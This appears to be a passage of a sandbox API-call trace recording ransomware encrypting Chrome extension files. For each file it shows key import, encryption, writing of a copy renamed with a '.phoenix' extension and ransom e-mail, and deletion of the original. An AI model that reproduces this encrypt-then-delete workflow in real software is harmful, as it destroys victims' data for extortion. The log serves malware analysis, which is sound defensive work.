	[0256.727] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=248) returned 1
	[0256.727] CloseHandle (hObject=0x314) returned 1
	[0256.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json")) returned 0x20
	[0256.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.727] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0256.727] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.727] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0256.727] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0256.727] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0256.727] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.727] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xf8, lpOverlapped=0x0) returned 1
	[0256.860] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0256.860] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0256.861] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0256.861] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0256.861] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0256.861] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.861] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0256.861] CryptDestroyKey (hKey=0x151200) returned 1
	[0256.861] CloseHandle (hObject=0x314) returned 1
	[0256.861] CloseHandle (hObject=0x310) returned 1
	[0256.861] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json")) returned 1
	[0256.862] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.862] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0257.784] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=11094) returned 1
	[0257.784] CloseHandle (hObject=0x240) returned 1
	[0257.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json")) returned 0x20
	[0257.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.785] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0257.785] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0257.785] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0257.785] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0257.785] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0257.785] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0257.785] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2b56, lpOverlapped=0x0) returned 1
	[0257.964] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2b60, dwBufLen=0x2b60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2b60) returned 1
	[0257.964] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2b60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2b60, lpOverlapped=0x0) returned 1
	[0257.965] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0257.965] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0257.965] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0257.965] CryptDestroyKey (hKey=0x151340) returned 1
	[0257.965] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0257.965] CryptDestroyKey (hKey=0x151100) returned 1
	[0257.966] CloseHandle (hObject=0x240) returned 1
	[0257.966] CloseHandle (hObject=0x244) returned 1
	[0257.966] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json")) returned 1
	[0257.967] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0257.967] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0257.969] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1004) returned 1
	[0257.969] CloseHandle (hObject=0x250) returned 1
	[0257.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json")) returned 0x20
	[0257.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.969] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0257.969] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0257.969] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0257.969] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0257.971] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151180) returned 1
	[0257.971] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0257.971] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3ec, lpOverlapped=0x0) returned 1
	[0258.061] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3f0, dwBufLen=0x3f0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3f0) returned 1
	[0258.061] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3f0, lpOverlapped=0x0) returned 1
	[0258.062] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151740) returned 1
	[0258.062] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.062] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0258.062] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.062] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0258.063] CryptDestroyKey (hKey=0x151180) returned 1
	[0258.063] CloseHandle (hObject=0x250) returned 1
	[0258.063] CloseHandle (hObject=0x244) returned 1
	[0258.063] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json")) returned 1
	[0258.064] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0258.064] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.064] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=319) returned 1
	[0258.064] CloseHandle (hObject=0x244) returned 1
	[0258.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json")) returned 0x20
	[0258.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.064] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.064] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.064] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.065] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.065] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0258.065] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.065] ReadFile (in: hFile=0x244, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x13f, lpOverlapped=0x0) returned 1
	[0258.066] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x140, dwBufLen=0x140 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x140) returned 1
	[0258.066] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x140, lpOverlapped=0x0) returned 1
	[0258.067] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0258.067] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.067] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0258.067] CryptDestroyKey (hKey=0x151300) returned 1
	[0258.067] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0258.068] CryptDestroyKey (hKey=0x151540) returned 1
	[0258.068] CloseHandle (hObject=0x244) returned 1
	[0258.068] CloseHandle (hObject=0x250) returned 1
	[0258.068] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json")) returned 1
	[0258.069] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0258.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.070] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=265) returned 1
	[0258.070] CloseHandle (hObject=0x250) returned 1
	[0258.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json")) returned 0x20
	[0258.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.070] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.070] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.071] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151300) returned 1
	[0258.071] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.071] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x109, lpOverlapped=0x0) returned 1
	[0258.073] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0258.073] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0258.074] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151740) returned 1
	[0258.074] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
